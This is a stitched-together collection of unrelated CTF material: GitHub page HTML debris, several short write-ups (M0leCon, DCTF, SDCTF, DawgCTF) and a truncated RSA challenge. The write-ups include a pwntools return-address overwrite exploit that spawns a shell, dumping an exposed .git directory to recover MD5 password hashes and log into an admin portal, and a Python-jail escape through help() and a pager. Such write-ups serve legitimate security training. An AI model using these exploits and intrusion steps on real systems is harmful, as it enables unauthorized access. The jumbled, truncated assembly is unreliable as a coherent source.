src="/kam1tsur3/2021_CTF/tree-commit/ee12843cd7901488730c41c8b313fc912cff9e46/omh/pwn/framed" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/kam1tsur3/2021_CTF/file-list/master/omh/pwn/framed"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory hx_color-icon-directory"> <path fill-rule="evenodd" d="M1.75 1A1.75 1.75 0 000 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0016 13.25v-8.5A1.75 1.75 0 0014.25 3h-6.5a.25.25 0 01-.2-.1l-.9-1.2c-.33-.44-.85-.7-1.4-.7h-3.5z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>for_players</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
---title: "Writeup: M0leCon Teaser CTF 2021 - Left or Right?"author: - TorioCremadate: 2021-05-16categories: - writeupstags: - writeups - jeopardy - misc - ctf - m0lecon--- ## Information * category : misc* points : 219 ## Description > nc challs.m0lecon.it 5886 ## Writeup After connecting to the challenge and solving the proof of work we receive the following message: [Screenshot](https://i.imgur.com/QOootWQ.png) We have to write an algorithm that can find which sequence of the given strings will result inthe leftmost point reached during the path is as near as possible to 0. We decided, to use a greedy algorithm, since calculating all possible permutations of the stringswould require too much time and we have a limit of 1 second for each test. To make sure that our sequence will result in the optimal solution we want to move right as much aspossible before moving to the left, so that when we do move left the strings that result in a leftmovement will be countered by the fact that we have already moved right, thus minimizing the overhallleft movement of the whole sequence. To do so we read each sequence from the output and create a list based on two values: one is the leftmostposition reached during that string, we will call this value `cost`, and the other is the positionreached at the end of the string, we will call this value `pos`. With these values we can sort the strings and reach an optimal solution. Like we said before we first wantto move right as much as possible, then move left. To do so we sort the strings in increasing order based ontheir `cost` value if their `pos` value is positive, meaning that at the end of those strings we willend up to the right of the starting position and we will move left as little as possible; however if somestrings have a negative `pos` value we will sort those based on the differce between their `cost` and `pos`value, meaning that the ones with a greater differce will be put first. This is because in case of a negative`pos` value our ending position will be left of the starting position, if we used the same sorting criteria aswith the positive `pos` value strings we would end up increasing the effective `cost` value of the following strings,thus obtaining a solution that isn't optimal. ## Exploit ```py#!/usr/bin/env python3from pwn import *from hashlib import sha256 # proof-of-workdef solvepow(p, n): s = p.recvline() starting = s.split(b'with ')[1][:10].decode() s1 = s.split(b'in ')[-1][:n] i = 0 print("Solving PoW...") while True: if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode(): print("Solved!") p.sendline(starting + str(i)) break i += 1 def solve(l): v = [] for s in l: cost = 0 pos = 0 # create list of (cost, pos) # cost = left-most point reached during string # pos = position reached at the end of the string for c in s: if c == 'L': pos -= 1 elif c == 'R': pos += 1 else: assert False cost = max(cost, -pos) v.append((cost, pos)) # sort list based on cost if pos > 0 else based on abs(cost - pos) v.sort(key=lambda t: (t[1] < 0, t[0] if t[1] >= 0 else -t[0]-t[1])) print(v) # calculate left-most point during string sequece max_cost = 0 pos = 0 for cost, delta in v: max_cost = max(max_cost, cost - pos) pos += delta return max_cost r = remote('challs.m0lecon.it', 5886)solvepow(r, n = 5) r.readuntil('one second for each test.\n')r.sendline()for _ in range(200): n = int(r.readline()) # read number of strings # create list of strings l = [] for i in range(n): l.append(r.readline().decode().strip()) # calculate and send result ans = solve(l) print(ans) r.sendline(str(ans)) print(r.readline())r.interactive()```
Preface------- We get a simple binary, with simple input and output. Overview-------- Looking at the binary in ghidra, I found these functions. ```Cvoid vuln(void){ char local_48 [60]; int local_c; puts("tell me a joke"); fgets(local_48,0x100,stdin); if (local_c == -0x21523f22) { puts("very good, here is a shell for you. "); shell(); } else { puts("will this work?"); } return;} void shell(void){ puts("spawning /bin/sh process"); puts("wush!"); printf("$> "); puts("If this is not good enough, you will just have to try harder :)"); return;} void win(int param_1,int param_2){ puts("you made it to win land, no free handouts this time, try harder"); if (param_1 == -0x21524111) { puts("one down, one to go!"); if (param_2 == 0x1337c0de) { puts("2/2 bro good job"); system("/bin/sh"); /* WARNING: Subroutine does not return / exit(0); } } return;}``` From looking at these functions I knew, setting the variable isn't the correct way, because it wasn't a real shell. But I can jump to win, for a long time I tried to ret2win with all the parameters set. But then I realized, I could just skip the checks.Because if I jump to the offset of win, where the calls where over, I could just ignore the setting of any parameters and get the shell. My final exploit script was: ```Python#!/usr/bin/env python3from pwn import context.arch = 'amd64'#context.log_level = "DEBUG"context.log_level = "INFO" context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] vulnerable = './pwn_sanity_check'elf = ELF(vulnerable) #p = process( vulnerable )p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480) p.readuntil('tell me a joke') ret_offset = 72# 60 for buffer 4 for integer and 8 for RBP win_function = elf.symbols['win']win_function_shell = win_function + 0x44 # Skipping all parameter checks p.sendline(b'\x41'*(ret_offset) + p64(win_function_shell)) p.readuntil('will this work')p.read( 2048, timeout=1 ) # cleanup outputp.interactive()``` The complete flag was:```dctf{Ju5t_m0v3_0n}```
# Git Good ## Challenge: We've been issued a challenge by the primary competing cyber organization on campus, the Cybersecurity Group at UCSD. You have been granted permission to try and hack into their admin portal to steal their flag. They've been hardening their website for some time now, and they said they think its "unhackable". Show them how wrong they are! Website https://cgau.sdc.tf/ ## Solution: Nothing works on the web page: The only exception is the login button which tells us that we cannot log in: If we check `/robots.txt` we're given some clues: ```bashUser-agent: Disallow: /admin.htmlDisallow: /.git/``` We now know there's an administrative login page and a Git repository. There's a good chance the repository has the credentials we need to log in. If we try to navigate to the `/.git/` directory we're told we cannot access it: ```bashCannot GET /.git``` But [Dumper from GitTools](https://github.com/internetwache/GitTools) has no trouble grabbing the entire thing: ```bash$ ./gitdumper.sh https://cgau.sdc.tf/.git/ cgau############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances.# Only for educational purposes!########### [] Destination folder does not exist[+] Creating cgau/.git/[+] Downloaded: HEAD[-] Downloaded: objects/info/packs[+] Downloaded: description[+] Downloaded: config[+] Downloaded: COMMIT_EDITMSG[+] Downloaded: index[-] Downloaded: packed-refs[+] Downloaded: refs/heads/master[-] Downloaded: refs/remotes/origin/HEAD[-] Downloaded: refs/stash[-] Downloaded: logs/HEAD[-] Downloaded: logs/refs/heads/master[-] Downloaded: logs/refs/remotes/origin/HEAD[-] Downloaded: info/refs[+] Downloaded: info/exclude[-] Downloaded: /refs/wip/index/refs/heads/master[-] Downloaded: /refs/wip/wtree/refs/heads/master[+] Downloaded: objects/0b/23360a5d79ecf5241fd6790edd619304825b9a[+] Downloaded: objects/42/6ec68a64f6fe89ec40a3352213703792e080cb[+] Downloaded: objects/d8/eb39e3e2bb984ce687768d20f58d962942841d[+] Downloaded: objects/21/c3532b100a5f8566f5fc4c64f2a4486618a67e[+] Downloaded: objects/a7/6c475d6b53daf7efe8396b494f5e09ab4abc91[+] Downloaded: objects/2c/55d1ca4ec7d827b7f4357436ca5ea4ee5327d1[+] Downloaded: objects/aa/c42f1d66b35b027d9538cfb3252473b08f11cd[+] Downloaded: objects/ce/86d86f4c3f5bd7a63136a2caaf76d57071d905[+] Downloaded: objects/6a/ab31640a322209ccd9e0e6eeab36ef65be0df0[+] Downloaded: objects/6a/70ab0a4ef8f968750fc627fe248d30d066c8c2[+] Downloaded: objects/32/e65831b8ccdef0c8d181116c660e11233983f9[+] Downloaded: objects/b1/532f74e423381703e466520e99f9619a4ca334[+] Downloaded: objects/7e/23e8d425a5f91a7f5e70d6c7cc6d7811db661d[+] Downloaded: objects/9a/55d593b0f12ff6f64a06094aa873690b8ceabd[+] Downloaded: objects/20/c9f02c6a89d4bdf1d6644b12e80e093bf63a3e[+] Downloaded: objects/95/96c8286bedc6214c91e3efc2876efd41c6301e[+] Downloaded: objects/84/f191442c8479c4cbd67937b9cbe3df2038be63``` Right away we have some targets: ```bash$ git statusOn branch masterChanges not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) deleted: .gitignore deleted: admin.html deleted: app.js deleted: image1.png deleted: index.html deleted: package-lock.json deleted: package.json deleted: robots.txt deleted: users.db no changes added to commit (use "git add" and/or "git commit -a")``` Let's look at `users.db`: ```bash$ git restore users.db$ sqlite3 users.dbSQLite version 3.35.5 2021-04-19 18:32:05Enter ".help" for usage hints.sqlite> .tablesuserssqlite> .schema usersCREATE TABLE users(id INTEGER PRIMARY KEY, email TEXT, password TEXT);sqlite> SELECT email,password FROM users;[email protected]\|$2b$10$8DFs3422S4yG286Pu1FYWO8zvkVX4kCKZu2VDWp1f8CXbaxj0S8UW[email protected]\|$2a$10$mYH9SVwA7zOeh8s9fkpl8egbfEC3qMQFpbg7Aptrp2DFUf7y1oD/i[email protected]\|$2a$10$EI2PlyKMjBJneVkSj/Nzi.RgDj6HXCtD/yPbpQEtFy4OmuK.rl3bG[email protected]\|$2a$10$0Dl8VuHQamYsDD1wODwzOef.piAL2PmMyV5mduQBO4UxJDHedSwt.[email protected]\|$2a$10$RW.M5zXvKlv9Y96Xhhf1Wu0A91x2riQB.FKK6JJaU5id1OdX5bQM6sqlite> .exit``` We can see all of the usernames, but the passswords look like bcrypt hashes. Sure enough, if we restore `app.js` we can see `require('bcrypt')`. Interestingly, we also see `require('md5')`. It looks like the application was updated from MD5 to bcrypt at some point. If we check the history, it looks like we're correct: ```bashcommit 0b23360a5d79ecf5241fd6790edd619304825b9aAuthor: Aaron <[email protected]>Date: Sat Jan 16 12:58:53 2021 -0800 Upgraded to bcrypt commit d8eb39e3e2bb984ce687768d20f58d962942841dAuthor: Aaron <[email protected]>Date: Sat Jan 16 12:52:49 2021 -0800 Initial commit``` Let's roll back to the earlier commit: ```$ git checkout d8eb39D .gitignoreD admin.htmlD image1.pngD index.htmlD robots.txtNote: switching to 'd8eb39'....HEAD is now at d8eb39e Initial commit``` Let's look at this version of our users database: ```bash$ sqlite3 users.dbSQLite version 3.35.5 2021-04-19 18:32:05Enter ".help" for usage hints.sqlite> SELECT email,password FROM users;[email protected]\|e04efcfda166ec49ba7af5092877030e[email protected]\|c7c8abd4980ff956910cc9665f74f661[email protected]\|b4bf4e746ab3f2a77173d75dd18e591d[email protected]\|5a321155e7afbf0cfacf1b9d22742889[email protected]\|a8252b3bbf4f3ed81dbcdcca78c6eb35sqlite> .exit``` This time we have MD5 hashes. If we search Google for the very first hash, we get [a hit](https://networkengineering.stackexchange.com/questions/70516/why-does-the-ciscos-command-enable-secret-password-produce-different-hash-f) immediately, telling us that `e04efcfda166ec49ba7af5092877030e` is derived from `weakpassword`. If we go back to the admin login page, we can log in with `[email protected]` and `weakpassword`: And we're given our flag: `sdctf{1298754_Y0U_G07_g00D!}`.
Preface------- The function gives us a number and then waits for multiple inputs. Overview-------- Loading the file into ghidra we can take a look at what happens. ```Cundefined8 main(void){ int iVar1; uint uVar2; time_t tVar3; tVar3 = time((time_t )0x0); srand((uint)tVar3); iVar1 = rand(); uVar2 = iVar1 % 5 + 8; printf("%d\n",(ulong)uVar2); process((ulong)uVar2); return 0;}``` ```Cundefined8 process(uint param_1){ long lVar1; bool bVar2; long lVar3; long in_FS_OFFSET; uint local_24; long local_20; lVar1 = (long )(in_FS_OFFSET + 0x28); bVar2 = true; local_24 = 1; while ((int)local_24 <= (int)param_1) { lVar3 = triangle((ulong)param_1,(ulong)local_24,(ulong)local_24); __isoc99_scanf(); if (lVar3 != local_20) { bVar2 = false; } local_24 = local_24 + 1; } if (bVar2) { system("cat flag.txt"); } else { puts("Better luck next time."); } if (lVar1 != (long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return / __stack_chk_fail(); } return 0;}``` ```Clong triangle(uint param_1,int param_2){ long lVar1; long lVar2; if ((int)param_1 < param_2) { lVar1 = 0; } else { if ((param_1 == 1) && (param_2 == 1)) { lVar1 = 1; } else { if (param_2 == 1) { lVar1 = triangle((ulong)(param_1 - 1),(ulong)(param_1 - 1),(ulong)(param_1 - 1)); } else { lVar2 = triangle((ulong)param_1,(ulong)(param_2 - 1U),(ulong)(param_2 - 1U)); lVar1 = triangle((ulong)(param_1 - 1),(ulong)(param_2 - 1U),(ulong)(param_2 - 1U)); lVar1 = lVar1 + lVar2; } } } return lVar1;}``` From this I could see, I can win, if I just run the same operations and print my solutions.So I rewrote the triangle function in Python3 and integrated a read of the random number.My final script was: ```Python#!/usr/bin/env python3from pwn import context.arch = 'amd64'context.kernel = 'amd64'#context.log_level = "DEBUG"context.log_level = "INFO" def triangle(a,b): if a < b: return 0 else: if a == 1 and b == 1: return 1 else: if b == 1: return triangle(a-1,a-1) else: return triangle(a,b-1) + triangle(a-1,b-1) p = remote("dctf-chall-bell.westeurope.azurecontainer.io", 5311) random = int(p.readuntil('\n')[:-1].decode('ASCII'))print(random) for i in range(1,(random)+1): p.sendline(str(triangle(random,i))) p.interactive()``` Running this gives the flag. ```dctf{f1rst_step_t0wards_b3ll_l4bs}```
Brazilian Portuguese very detailed and extended write-up with (simple) demonstration video https://neptunian.medium.com/desafio-the-galactic-times-4f35c857cdec
Unintended solution Running ltrace with the below syntax would reveal the flag. ```bashltrace -s 40 <binary>``` ----- what "-s" does? The default string length in ltrace is 32. The flag length is 40. So setting the string length to 40 would give the flag.
## Leak Spin (100 Points) ### Problem```We have confident insider report that one of the flags was leaked online. Can you find it? Hint: The organisers only control a limited amount of places on the internet, looks through those...``` ### SolutionGreat, this sounds like an `OSINT` challenge really. My first idea is GitHub or the DragonSec's website here, it makes the most sense given the description. I go to [DragonSec's Github](https://github.com/DragonSecSI) and look at their repositories.Aha, there's a Leak Spin repo... ![](img/leakspin_repo.png) And inside the repo is a `challenge.yml` file that contains... ![](img/leakspin_flag.png) Nice. Flag: `dctf{I_L1k3_L1evaAn_P0lkk4}`
# dCTF Just In Time Write Up ## Details: Jeopardy style CTF Points: 300 Category: Reverse Engineering Comments: Don't fall in (rabbit) holes ## Write up: I started by decompiling the main function: ```c__int64 __fastcall main(int a1, char a2, char a3){ const char v3; const char v4; char src[8]; char v7; char v8; char dest; dest = (char )malloc(8uLL); v3 = (const char )sub_126A(a2); strncpy(dest, v3, 8uLL); strcpy(src, "\x1B&8 yegHr($g1bKu{\"f5`N}t#331Nv/%`11F#1"); v8 = (char )malloc(0x27uLL); strncpy(v8, src, 0x27uLL); sub_1372(v8); puts("Decryption finished."); v7 = (char )malloc(0x27uLL); v4 = (const char )sub_11C5(src, dest); strncpy(v7, v4, 0x27uLL); v7 = (char )sub_11C5(v7, dest); sub_1460(v7); free(v8); free(v7); free(dest); return 0LL;}``` Rather than trying to do their decryption I decided to see if I cuold get the flag with dynamic analysis which worked out. I set a breakpoint on the strncpy line and saw that the flag was: ```dctf{df77dbe0c407dd4a188e12013ccb009f}```
* call `help()` to get interactive shell* search for some python command (i used `exec`)* `help()` opens the manual page for `exec` with `more`* now that you are in `more`, you can just run bash command with ! in front of the command(like `!ls`) therefore, to get the flag: * `help()`* `exec`* `!ls` (we can see a file called `flag.txt` and the python script itselfs)* `!cat flag.txt` `DawgCTF{bUt_iT'5_c@ll3d_1nput}`
## Encrypted The Flag I Have (100 Points) ### Problem```Decrypted flag is not in exact format.```![](img/encryptedflag.png) ### SolutionI won't lie, I went the long way on this one.I plugged this into a font finder because I couldn't find much info after a little bit of digging.I got a match called `Gonk Droid Medium` and looked that up on [MyFont](https://www.myfonts.com/fonts/edds-aurebesh-fontworks/gonk-droid/), took a look at the glyphs and decoded by hand. Only after the CTF did I find out that this is a writing system from Star Wars called Aurebesh. ```Aurebesh was a writing system used to transcribe Galactic Basic, one of the most used languages in the galaxy. In the Outer Rim Territories, Aurebesh was sometimes used alongside Outer Rim Basic, another alphabet.``` There's even a Aurebesh decoder on [DCode](https://www.dcode.fr/aurebesh-alphabet). I'll know for the future ? Anyways, the flag! Flag: `dctf{MASTERCODEBREAKER}`
## Hidden Message (100 Points) ### Problem```This image looks familiar... Image: fri.png```![](img/fri.png) ### SolutionWe're given a `PNG` file with a very vague description. The challenge title is `Hidden Message` so my go to is to use a tool like `zsteg` to see if there are hidden messages. ```❯ zsteg fri.pngb1,rgb,lsb,xy .. text: "dctf{sTeg0noGr4Phy_101}"b3,g,lsb,xy .. text: "I@4I)$Xl"b3,abgr,msb,xy .. text: "v\rWv)WvM"b4,r,lsb,xy .. text: "\nfb@DHfBHH"b4,r,msb,xy .. text: "E`@Q'g3@D@tr"b4,g,msb,xy .. text: "ND@&B$rp"b4,b,lsb,xy .. text: "D\"$ \"\"\"$bN"b4,b,msb,xy .. text: "DDD$Fr0U3p@f"b4,rgb,lsb,xy .. text: "HDd(\"b(Dd\""b4,rgb,msb,xy .. text: "GpD@FdD#"b4,bgr,lsb,xy .. text: "H$b(\"dH$`"b4,bgr,msb,xy .. text: "t@@DFd$#"b4,rgba,lsb,xy .. text: "`OP/S/b/b?"b4,abgr,msb,xy .. text: "O@OdOdO2/"``` A very easy intro-to-steganography challenge for anyone not familiar with the area. Flag: `dctf{sTeg0noGr4Phy_101}`
### Questionreallysecure.txt```n: 1063494238636905330671898279123020701722241177838742822812173978727720269828464796177466331816675300997219760473399150899338190503499441304612339501295713174906319744094945565844664372365921409430229356934682156557249826723147031652843433859344718768493183522524995480377138743798310313783408725321419870843554822150601536373735923419276343616677440442774544203945706641152517137477442684440329779076981535293867470891276594740058202983415251883426242386508849130959905432961654910957147313116759921173654729071152981682554792584462863534617943384988632032130835087976957452863581161399454295389753849954195624356779281196493728732643445649356033158461867533398892265000228558146288424480232820613034689816560319929705959290376265550914058448343308161173100473161643834475548888676356572581129193395124610558172636505697071928778350452726229098387020587814634712035171712313035012109421792643188405752849278190287414108308734638519593282032082768153331276317440224645157072560878195004847185217741752846484430459047014205368551175641186962966731731946128786111994668528579102737764964521437485037695161775036622411218739549286577109028626220150452705854596994751235894610227300222070678106023292138580496517177268042770934391185798181598618563332872419401223903806812404310665174941843727792999745655534108889130325189241267039092501129173520194489329592776789648244263220437261594447066833175026748830694496235756029688061559449109400248449366143822446893851310444152168531390880512280359096438303124398155397910138799660941243464476642041104225318910175143988510614445494598098558426300612294667831401095538851181871031466580808942102239297182977785401087460226345045290147371931284725756179151791539310603340196586480494033673522637677423221202352493653286430691931273676649062037570851083535722738207802574643773975006788646467981693396925922930573766914743566111012462215653872417726475122775377641591778444141816733462035690735543990556767891443301312941168828619850007793197693295002346977318117653857994731382292035666024397790972920502626243999541832942059274728220802530163223188484361653845185336386588669397688474323385816925410493569923865462650449548121898936835205060632513390578074550881170405889665319159308800795056447244869407145217360018494614236328487464266591617854909647808315406639117270321158016494893469025866752746911948790708005075752364953010067274475470453957941422189404716860354111166203043679764568407375052809648827400302926099178569e: 322080206518256091443899533297838582806903462189212623492459529527398362853578807723331748892091281476489691674322396825893568981731186597175657851460964692083587224231830304595753200276915353388440323973696723177120007866661510911934423352216586106031397002127519163858107192766128665700540985814443511274004469695128927172454976219787146706562954392698315026949257322529441349029783228167181158744356828575460114272675952388130344874175195393881248661753342888300368969470477541152888408256683251028110005741172636776279619483668723660512026112365800539035538500635904281702733475127339140385714006560153071610279780303018848372325359598739283968138816333125764253403325773002607652913882484078902775827169048401031393263955166695217841400017855979724317225872294531492451624247032809524082714281043873127461832051383511298796820369453358960824162684362741938604084210435623099328622028419710290325683380378726085007158903982932912214314158223921219724759717266136246703830446993309980595073110001804483058339461412460693911416430728558495048873597685942089531373734578638349738930086910038003088294940942692030998047041393152747526278088574238755027474019265539054527491401757165011505470582647900401492273402847703170162847259159161319094910753659832147964969052296859561769298825881593753592121708897035728873795159475926749806998737812501868665513946666352941497086651818553871606417281352599234688183547212675353626023151426982640664474136377374110023532481101565870359846621748326349516467938614155834462639061592390266